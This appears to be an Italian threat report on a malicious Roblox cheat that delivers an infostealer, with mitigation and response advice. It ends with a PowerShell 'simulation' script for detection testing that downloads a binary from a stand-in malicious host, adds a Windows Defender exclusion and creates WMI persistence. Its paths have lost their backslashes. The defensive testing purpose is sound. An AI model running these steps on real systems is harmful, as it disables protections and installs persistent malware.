Trucchi Roblox basati sull’IA consegnano il ladro Yuta/Solara

Sommario

Un pacchetto di cheat per Roblox malevolo combina un’interfaccia .NET trojanizzata con un ladro Python integrato tramite PyInstaller. Il caricatore iniziale indebolisce le protezioni di Microsoft Defender, recupera un payload di seconda fase da MediaFire e avvia malware derivato da Glove Stealer per raccogliere credenziali, cookie, file di portafogli e risorse legate al gaming. I dati rubati vengono quindi esfiltrati attraverso webhook di Discord crittografati e supportati da un bot RAT persistente su Discord.

Indagine

Il rapporto fornisce un’analisi statica approfondita del malware, inclusa l’estrazione del payload di PyInstaller, la decompilazione del bytecode Python 3.12 e la mappatura del flusso di lavoro di furto delle credenziali. Contiene anche la catena di esecuzione multi-stadio completa, i metodi di evasione delle difese utilizzati dagli operatori e l’approccio di bypass a cinque strati che prende di mira le protezioni di Chrome App-Bound Encryption.

Mitigazione

Le organizzazioni dovrebbero bloccare l’esecuzione di binari sconosciuti non firmati, applicare un allow-listing rigoroso delle applicazioni, monitorare i cambiamenti alle esclusioni di Defender e l’uso sospetto di PowerShell, e rilevare download insoliti di dati di configurazione da Pastebin. Il traffico di webhook Discord dovrebbe essere limitato o strettamente monitorato, e i difensori dovrebbero osservare l’attività anomala dei lanci di Chrome che usano flag correlati al debugger.

Risposta

I team di sicurezza dovrebbero allertare sulla creazione di winupdate.exe nella cache AppData, modifiche sospette alle chiavi Run del registro, creazione di attività pianificate e attività inusuali nei canali Discord. I file malevoli dovrebbero essere messi in quarantena, esclusioni non autorizzate in Defender rimosse, e dovrebbero essere condotte analisi forensi su qualsiasi archivio di credenziali che potrebbe essere stato compromesso.

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere superato.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per innescare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta attesa dalla logica di rilevamento.

• Narrazione dell’Attacco & Comandi:

  1. Trasferimento Strumento di Ingresso (T1105): L’attaccante scarica l’esecutore Roblox dannoso (SLaunch.exe) da un server web compromesso.
  2. Esecuzione con Manomissione Defender (T1548.002): Utilizzando PowerShell, l’attaccante esegue SLaunch.exe con una linea di comando che invoca Add-MpPreference -ExclusionPath "C:Roblox" per mettere nella lista bianca la cartella di installazione di Roblox, impedendo a Windows Defender di scansionare il payload iniettato.
  3. Persistenza (T1546.003 / T1547.001): Viene creata una sottoscrizione evento WMI per riavviare SLaunch.exe all’avvio del sistema.
  4. Raccolta delle Credenziali (T1056.001, T1555.003): Mentre l’iniettore è in esecuzione, cattura le sequenze di tasti ed estrae le credenziali Roblox salvate dagli store del browser.

• Script di Test di Regressione: Il seguente script PowerShell riproduce i passaggi 2-3 e genera la telemetria che la regola Sigma si aspetta.

  # ------------------------------------------------------------
  # Esecuzione Iniettore Roblox + Esclusione Defender (Script TC)
  # ------------------------------------------------------------
  
  # Percorsi (regolare come necessario)
  $injectorPath = "C:TempSLaunch.exe"
  $defenderExcl = "C:Roblox"
  
  # 1. Assicurarsi che l'iniettore esista (segnaposto del download)
  if (-Not (Test-Path $injectorPath)) {
      Write-Host "Scaricamento dell'iniettore dannoso..."
      Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath
  }
  
  # 2. Eseguire l'iniettore con la linea di comando per esclusione Defender
  $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`""
  Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow
  
  # 3. Creare una sottoscrizione evento permanente WMI per la persistenza
  $wmiFilter = @"
  SELECT * FROM __InstanceCreationEvent
  WITHIN 60
  WHERE TargetInstance ISA 'Win32_Process' 
  AND TargetInstance.Name = 'SLaunch.exe'
  "@
  
  $filterPath = "ROOTDEFAULT"
  $filterName = "RobloxInjectorFilter"
  $consumerName = "RobloxInjectorConsumer"
  
  # Registrare il filtro
  $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter `
      -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' }
  
  # Registrare il consumatore della linea di comando
  $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer `
      -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" }
  
  # Collegare filtro al consumatore
  Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH }
  
  Write-Host "Simulazione completata – la telemetria di rilevamento dovrebbe essere stata generata."

• Comandi di Pulizia: Rimuovere l’esclusione Defender e la sottoscrizione WMI create sopra.

  # Rimuovere l'esclusione di Defender
  Remove-MpPreference -ExclusionPath "C:Roblox"
  
  # Eliminare filtro WMI & consumatore
  $filterPath = "ROOTDEFAULT"
  Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject
  
  # Eliminare il binario dell'iniettore
  Remove-Item -Path "C:TempSLaunch.exe" -Force